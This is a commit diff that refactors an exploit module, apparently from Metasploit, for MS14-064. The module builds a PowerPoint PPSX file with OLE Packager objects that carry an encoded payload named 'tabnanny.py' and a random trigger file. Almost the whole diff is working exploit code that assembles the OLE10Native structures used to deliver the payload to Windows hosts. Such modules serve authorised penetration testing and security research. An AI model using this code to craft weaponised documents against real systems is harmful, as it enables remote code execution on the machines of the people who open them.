Refactor create packager methods

Author: jvazquez-r7

modules/exploits/windows/fileformat/ms14_064_packager_python.rb

@@ -60,6 +60,8 @@ def initialize(info={})
 
   def exploit
     print_status("Creating '#{datastore['FILENAME']}' file ...")
+    payload_packager = create_packager('tabnanny.py', payload.encoded)
+    trigger_packager = create_packager("#{rand_text_alpha(4)}.py", rand_text_alpha(4 + rand(10)))
     zip = zip_ppsx(payload_packager, trigger_packager)
     file_create(zip)
   end
@@ -91,59 +93,25 @@ def zip_ppsx(ole_payload, ole_trigger)
     ppsx.pack
   end
 
-  def payload_packager
-    payload_name = 'tabnanny.py'
-
-    file_info = [2].pack('v')
-    file_info << "#{payload_name}\x00"
-    file_info << "#{payload_name}\x00"
-    file_info << "\x00\x00"
-
-    extract_info = [3].pack('v')
-    extract_info << [payload_name.length + 1].pack('V')
-    extract_info << "#{payload_name}\x00"
-
-    p = payload.encoded
-    file = [p.length].pack('V')
-    file << p
-
-    append_info = [payload_name.length].pack('V')
-    append_info << Rex::Text.to_unicode(payload_name)
-    append_info << [payload_name.length].pack('V')
-    append_info << Rex::Text.to_unicode(payload_name)
-    append_info << [payload_name.length].pack('V')
-    append_info << Rex::Text.to_unicode(payload_name)
-
-    ole_data = file_info + extract_info + file + append_info
-    ole_contents = [ole_data.length].pack('V') + ole_data
-
-    ole = create_ole("\x01OLE10Native", ole_contents)
-
-    ole
-  end
-
-  def trigger_packager
-    payload_name = "#{rand_text_alpha(4)}.py"
-
+  def create_packager(file_name, contents)
     file_info = [2].pack('v')
-    file_info << "#{payload_name}\x00"
-    file_info << "#{payload_name}\x00"
+    file_info << "#{file_name}\x00"
+    file_info << "#{file_name}\x00"
     file_info << "\x00\x00"
 
     extract_info = [3].pack('v')
-    extract_info << [payload_name.length + 1].pack('V')
-    extract_info << "#{payload_name}\x00"
-
-    random_text = rand_text_alpha(4 + rand(4))
-    file = [random_text.length].pack('V')
-    file << random_text
-
-    append_info = [payload_name.length].pack('V')
-    append_info << Rex::Text.to_unicode(payload_name)
-    append_info << [payload_name.length].pack('V')
-    append_info << Rex::Text.to_unicode(payload_name)
-    append_info << [payload_name.length].pack('V')
-    append_info << Rex::Text.to_unicode(payload_name)
+    extract_info << [file_name.length + 1].pack('V')
+    extract_info << "#{file_name}\x00"
+
+    file = [contents.length].pack('V')
+    file << contents
+
+    append_info = [file_name.length].pack('V')
+    append_info << Rex::Text.to_unicode(file_name)
+    append_info << [file_name.length].pack('V')
+    append_info << Rex::Text.to_unicode(file_name)
+    append_info << [file_name.length].pack('V')
+    append_info << Rex::Text.to_unicode(file_name)
 
     ole_data = file_info + extract_info + file + append_info
     ole_contents = [ole_data.length].pack('V') + ole_data